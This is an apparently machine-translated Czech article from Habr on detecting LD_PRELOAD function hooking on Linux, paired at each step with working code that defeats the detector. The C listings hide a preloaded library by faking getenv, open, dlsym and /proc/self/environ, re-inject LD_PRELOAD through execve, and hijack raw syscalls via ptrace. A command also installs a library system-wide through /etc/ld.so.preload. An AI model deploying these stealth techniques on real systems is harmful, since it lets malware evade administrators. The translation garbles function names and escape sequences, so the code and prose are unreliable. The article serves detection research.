Hledám LD_PRELOAD

Tato poznámka byla napsána v roce 2014, ale právě jsem se dostal pod represe na Habrého a ta nespatřila světlo světa. Během zákazu jsem na to zapomněl, ale teď jsem to našel v konceptech. Přemýšlel jsem o smazání, ale třeba se to někomu bude hodit.

Hledám LD_PRELOAD

Obecně platí, že malé páteční čtení administrátora na téma hledání „zahrnuto“ LD_PRELOAD.

1. Krátká odbočka pro ty, kteří nejsou obeznámeni se substitucí funkcí

Zbytek může jít rovnou p.2.

Začněme klasickým příkladem:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
  srand (time(NULL));
  for(int i=0; i<5; i++){
    printf ("%dn", rand()%100);
  }
}

Kompilujeme bez jakýchkoli příznaků:

$ gcc ./ld_rand.c -o ld_rand

A jak se očekávalo, dostaneme 5 náhodných čísel menších než 100:

$ ./ld_rand
53
93
48
57
20

Ale představme si, že nemáme zdrojový kód programu, ale potřebujeme změnit chování.

Vytvořme si vlastní knihovnu s vlastním prototypem funkce, například:

int rand(){
  return 42;
}

$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so

A nyní je náš náhodný výběr docela předvídatelný:

# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42

Tento trik vypadá ještě působivěji, pokud nejprve exportujeme naši knihovnu přes

$ export LD_PRELOAD=$PWD/ld_rand.so

nebo to uděláme jako první

# echo "$PWD/ld_rand.so" > /etc/ld.so.preload

a poté spusťte program jako obvykle. V samotném programu jsme nezměnili jediný řádek kódu, ale jeho chování nyní závisí na malé funkci v naší knihovně. Navíc v době psaní programu, vše ani neexistoval.

Co přimělo náš program používat falešné vše? Pojďme na to krok za krokem.
Při spuštění aplikace se načtou určité knihovny, které obsahují funkce potřebné pro program. Můžeme je zobrazit pomocí ldd:

# ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffc8b1f3000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)

Tento seznam se může lišit v závislosti na verzi operačního systému, ale musí tam být soubor libc.so. Právě tato knihovna poskytuje systémová volání a základní funkce jako např otevřít, malloc, printf atd. Naše vše je také mezi nimi. Přesvědčte se o tom:

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand

Podívejme se, zda se sada knihoven při použití změní LD_PRELOAD

# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffea52ae000)
        /scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)

Ukázalo se, že proměnná je nastavena LD_PRELOAD nutí nás nakládat ld_rand.so i přesto, že to samotný program nevyžaduje. A od naší funkce "rand" načte dříve než vše z libc.so, pak vládne úkrytu.

Dobře, podařilo se nám nahradit nativní funkci, ale jak zajistit, aby byla zachována její funkčnost a byly přidány některé akce. Upravme náš náhodný:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
 
typedef int (*orig_rand_f_type)(void);
 
int rand()
{
  /* Выполняем некий код */
  printf("Evil injected coden");
  
  orig_rand_f_type orig_rand;
  orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
  return orig_rand();
}

Zde jako náš „doplněk“ vytiskneme pouze jeden řádek textu, po kterém vytvoříme ukazatel na původní funkci vše. K získání adresy této funkce potřebujeme dlsym je funkce z knihovny libdlkterá najde naše vše v hromadě dynamických knihoven. Poté tuto funkci zavoláme a vrátíme její hodnotu. Podle toho budeme muset přidat "-ldl" při montáži:

$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so

$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95

A náš program používá "nativní" vše, který předtím provedl nějaké obscénní akce.

2. Bolest hledání

Když víme o potenciální hrozbě, chceme ji odhalit předpětí Bylo provedeno. Je jasné, že nejlepší způsob detekce je vtlačení do jádra, ale mě zajímaly možnosti detekce v uživatelském prostoru.

Dále přijdou řešení pro detekci a jejich vyvrácení ve dvojicích.

2.1. Začněme jednoduše

Jak již bylo zmíněno dříve, můžete zadat knihovnu, která se má načíst, pomocí proměnné LD_PRELOAD nebo zápisem do souboru /etc/ld.so.preload. Vytvořme dva jednoduché detektory.

První je zkontrolovat nastavenou proměnnou prostředí:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main()
{
  char*  pGetenv = getenv("LD_PRELOAD");
  pGetenv != NULL ?
    printf("LD_PRELOAD (getenv) [+]n"):
    printf("LD_PRELOAD (getenv) [-]n");
}

Druhým je zkontrolovat, zda je soubor otevřen:

#include <stdio.h>
#include <fcntl.h>

int main()
{
  open("/etc/ld.so.preload", O_RDONLY) != -1 ?
    printf("LD_PRELOAD (open) [+]n"):
    printf("LD_PRELOAD (open) [-]n");
}

Načteme knihovny:

$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload

$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]

Zde a níže označuje [+] úspěšnou detekci.
[-] tedy znamená vynechání detekce.

Jak účinný je takový detektor? Nejprve se podívejme na proměnnou prostředí:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>

char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
    if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
    if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
    return orig_getenv(name);
}

$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]

Podobně se zbavíme kontroly otevřít:

#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>

int (*orig_open)(const char*, int oflag) = NULL;

int open(const char *path, int oflag, ...)
{
    char real_path[256];
    if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0){
        errno = ENOENT;
        return -1;
    }
    return orig_open(path, oflag);
}

$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]

Ano, zde lze použít jiné způsoby přístupu k souboru, např. open64, stat atd., ale ve skutečnosti je k jejich oklamání potřeba stejných 5-10 řádků kódu.

2.2. Pokračujme

Výše jsme použili getenv() získat hodnotu LD_PRELOAD, ale existuje také „nízkoúrovňový“ způsob, jak se tam dostat ENV-proměnné. Nebudeme používat mezilehlé funkce, ale budeme odkazovat na pole **prostředí, který ukládá kopii prostředí:

#include <stdio.h>
#include <string.h>

extern char **environ;
int main(int argc, char **argv) {
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++)
    {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL)
      {
        printf("LD_PRELOAD (**environ) [+]n");
        return 0;
      }
    }
  printf("LD_PRELOAD (**environ) [-]n");
  return 0;
}

Jelikož zde čteme data přímo z paměti, nelze takový hovor zachytit a náš undect_getenv již nezasahuje do identifikace narušení.

$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]

Zdá se, že je tento problém vyřešen? Pořád to teprve začíná.

Po spuštění programu hodnota proměnné LD_PRELOAD hackeři jej již nepotřebují v paměti, to znamená, že si jej mohou přečíst a odstranit před provedením jakýchkoli pokynů. Editace pole v paměti je samozřejmě minimálně špatný programovací styl, ale může to zastavit někoho, kdo nám stejně nepřeje nic dobrého?

K tomu potřebujeme vytvořit vlastní falešnou funkci init(), ve kterém zachytíme nainstalované LD_PRELOAD a předejte jej našemu linkeru:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;


// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));

  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD
        unsetenv(env);
        break;
      }
    }
}

int execve(const char *path, char *const argv[], char *const envp[])
{
  int i = 0, j = 0, k = -1, ret = 0;
  char** new_env;
  if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");

  // Проверям не существует ли других установленных LD_PRELOAD
  for(i = 0; envp[i]; i++){
    if(strstr(envp[i], "LD_PRELOAD")) k = i;
  }
  // Если LD_PRELOAD не было установлено до нас, то добавим его
  if(k == -1){
    k = i;
    i++;
  }
  // Создаём новое окружение
  new_env = (char**) malloc((i+1)*sizeof(char*));

  // Копируем старое окружение, за исключением LD_PRELOAD
  for(j = 0; j < i; j++) {
    // перезаписываем или создаём LD_PRELOAD
    if(j == k) {
      new_env[j] = (char*) malloc(256);
      strcpy(new_env[j], "LD_PRELOAD=");
      strcat(new_env[j], evil_env);
    }
    else new_env[j] = (char*) envp[j];
  }
  new_env[i] = NULL;
  ret = orig_execve(path, argv, new_env);
  free(new_env[k]);
  free(new_env);
  return ret;
}

Provádíme a kontrolujeme:

$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]

2.3. /proc/self/

Paměť však není posledním místem, kde můžete najít náhradu LD_PRELOAD, existuje také / proc /. Začněme tím, co je zřejmé /proc/{PID}/environ.

Ve skutečnosti existuje univerzální řešení pro nezjistit **prostředí и /proc/self/environ. Problémem je „špatné“ chování unsetenv(env).

správná možnost

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));
 
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD 
        //unsetenv(env);
        // Вместо unset просто обнулим нашу переменную
        for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
        break;
      }
    }
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Ale představme si, že jsme to nenašli a /proc/self/environ obsahuje „problematická“ data.

Nejprve zkusme s naším předchozím „převlekem“:

$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so

kočka používá totéž k otevření souboru OTEVŘENO(), takže řešení je podobné tomu, co již bylo provedeno v sekci 2.1, ale nyní vytvoříme dočasný soubor, kde zkopírujeme hodnoty skutečné paměti bez řádků obsahujících LD_PRELOAD.

#define _GNU_SOURCE
#include <dlfcn.h>

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>

#define BUFFER_SIZE 256

int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";

char *sstrstr(char *str, const char *sub)
{
  int i, found;
  char *ptr;
  found = 0;
  for(ptr = str; *ptr != ' '; ptr++) {
    found = 1;
    for(i = 0; found == 1 && sub[i] != ' '; i++){
      if(sub[i] != ptr[i]) found = 0;
    }
    if(found == 1)
      break;
  }
  if(found == 0)
    return NULL;
  return ptr + i;
}

void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
  int fd;
  char buffer[BUFFER_SIZE];
  int bytes = -1;
  int wbytes = -1;
  int k = 0;

  pid_t pid = getpid();

  int fh;
  if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
    printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
    exit (42);
  }
  if((fd=orig_open(original_path, O_RDONLY))==-1) {
    printf("LD: Cannot open read-file.n");
    exit(42);
  }
  do
  {
    char t = 0;
    bytes = read(fd, &t, 1);
    buffer[k++] = t;
    //printf("%c", t);
    if(t == ' ') {
      //printf("n");
  
      if(!sstrstr(buffer, "LD_PRELOAD")) {
        if((wbytes = write(fh,buffer,k))==-1) {
          //printf("write errorn");
        }
        else {
          //printf("writed %dn", wbytes);
        }
      }
      k = 0;
    }
  }
  while(bytes != 0);
    
  close(fd);
  close(fh);
}

int open(const char *path, int oflag, ...)
{
  char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
  pid_t pid = getpid();
  if(!orig_open)
  orig_open = dlsym(RTLD_NEXT, "open");
  realpath(path, real_path);
  snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
  
  if(strcmp(real_path, proc_path) == 0) {
    snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
    realpath(proc_path_0, proc_path);
    
    fakeMaps(real_path, proc_path, soname);
    return orig_open(proc_path, oflag);
  }
  return orig_open(path, oflag);
}

A tato fáze je za námi:

$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Další zřejmé místo je /proc/self/maps. Nemá smysl se tím zabývat. Řešení je naprosto totožné s předchozím: zkopírujte data ze souboru mínus řádky mezi nimi libc.so и ld. tak.

2.4. Možnost od Chokepoint

Toto řešení se mi líbilo především pro jeho jednoduchost. Porovnáváme adresy funkcí načtených přímo z libca adresy „NEXT“.

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>

#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"

int main(int argc, char *argv[]) {
  void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
  char *syscall_open = "open";
  int i;
  void *(*libc_func)();
  void *(*next_func)();
  
  libc_func = dlsym(libc, syscall_open);
  next_func = dlsym(RTLD_NEXT, syscall_open);
  if (libc_func != next_func) {
    printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
    printf("Libc address: %pn", libc_func);
    printf("Next address: %pn", next_func);
  }
  else {
    printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
  }
  return 0;
}

Načítání knihovny pomocí odposlechu "OTEVŘENO()" a zkontrolujte:

$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135

Vyvrácení se ukázalo být ještě jednodušší:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>

extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
  return _dl_sym (handle, symbol, dlsym);
}

# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]

2.5. Syscalls

Zdálo by se, že je to vše, ale stále se budeme plácat. Pokud systémové volání nasměrujeme přímo do jádra, obejde se tím celý proces zachycení. Níže uvedené řešení je samozřejmě závislé na architektuře (x86_64). Zkusme to implementovat pro detekci otvoru ld.so.preload.

#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUFFER_SIZE 256

int syscall_open(char *path, long oflag)
{
    int fd = -1;
    __asm__ (
             "mov $2, %%rax;" // Open syscall number
             "mov %1, %%rdi;" // Address of our string
             "mov %2, %%rsi;" // Open mode
             "mov $0, %%rdx;" // No create mode
             "syscall;"       // Straight to ring0
             "mov %%eax, %0;" // Returned file descriptor
             :"=r" (fd)
             :"m" (path), "m" (oflag)
             :"rax", "rdi", "rsi", "rdx"
             );
    return fd;
 }
int main()
{
    syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
      printf("LD_PRELOAD (open syscall) [+]n"):
      printf("LD_PRELOAD (open syscall) [-]n");
        
}

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]

A tento problém má řešení. Výpis z muž'A:

ptrace je nástroj, který umožňuje nadřazenému procesu sledovat a řídit průběh jiného procesu, prohlížet a měnit jeho data a registry. Tato funkce se obvykle používá k vytvoření bodů přerušení v ladicím programu a ke sledování systémových volání.

Rodičovský proces může začít trasování nejprve zavoláním fork(2) a poté může výsledný podřízený proces spustit PTRACE_TRACEME, po kterém (obvykle) následuje spuštění exec(3). Na druhou stranu nadřazený proces může začít ladit existující proces pomocí PTRACE_ATTACH.

Při trasování se podřízený proces zastaví pokaždé, když přijme signál, i když je signál ignorován. (Výjimkou je SIGKILL, který funguje normálně.) Nadřazený proces bude na to upozorněn voláním wait(2), po kterém si může prohlížet a upravovat obsah podřízeného procesu před jeho spuštěním. Rodičovský proces pak umožňuje dítěti pokračovat v běhu, v některých případech ignoruje signál, který mu byl odeslán, nebo místo toho posílá jiný signál).

Řešením je tedy proces monitorovat, před každým systémovým voláním jej zastavit a v případě potřeby přesměrovat vlákno na funkci zavěšení.

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>


#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip 
#endif

long NOHOOK = 0;

long evil_open(const char *path, long oflag, long cflag) 
{
    char real_path[PATH_MAX], maps_path[PATH_MAX];
    long ret;
    pid_t pid;
    pid = getpid();
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0)
    {
        errno = ENOENT;
        ret = -1;
    }
    else
    {
        NOHOOK = 1; // Entering NOHOOK section
        ret = open(path, oflag, cflag);
    }
    // Exiting NOHOOK section
    NOHOOK = 0;
    return ret;
}

void init()
{
    pid_t program;
    // Форкаем дочерний процесс
    program = fork();
    if(program != 0) {
        int status;
        long syscall_nr;
        struct user_regs_struct regs;
        // Подключаемся к дочернему процессу
        if(ptrace(PTRACE_ATTACH, program) != 0) {
            printf("Failed to attach to the program.n");
            exit(1);
        }
        waitpid(program, &status, 0);
        // Отслеживаем только SYSCALLs
        ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
        while(1) {
            ptrace(PTRACE_SYSCALL, program, 0, 0);
            waitpid(program, &status, 0);
            if(WIFEXITED(status) || WIFSIGNALED(status)) break;
            else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
                // Получаем номер системного вызова
                syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
                if(syscall_nr == __NR_open) {
                    // Читаем слово из памяти дочернего процесса
                    NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
                    // Перехватываем вызов
                    if(!NOHOOK) {
                        
                        // Копируем регистры дочернего процесса
                        // в переменную regs родительского
                        ptrace(PTRACE_GETREGS, program, 0, &regs);
                        // Push return address on the stack
                        regs.REG_SP -= sizeof(long);
                        // Копируем слово в память дочернего процесса
                        ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
                        // Устанавливаем RIP по адресу evil_open
                        regs.REG_IP = (unsigned long) evil_open;
                        // Записываем состояние регистров процесса
                        ptrace(PTRACE_SETREGS, program, 0, &regs);
                    }
                }
                ptrace(PTRACE_SYSCALL, program, 0, 0);
                waitpid(program, &status, 0);
            }
        }
        exit(0);
    }
    else {
        sleep(0);
    }
}

Zkontrolujeme:

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]

+0-0=5

Děkuji moc

Charles Hubain
škrtící bod
ValdikSS
Philippe Teuwen
derhass

, jehož články, zdroje a komentáře udělaly mnohem víc než já, aby se zde tato poznámka objevila.

Zdroj: www.habr.com

Přidat komentář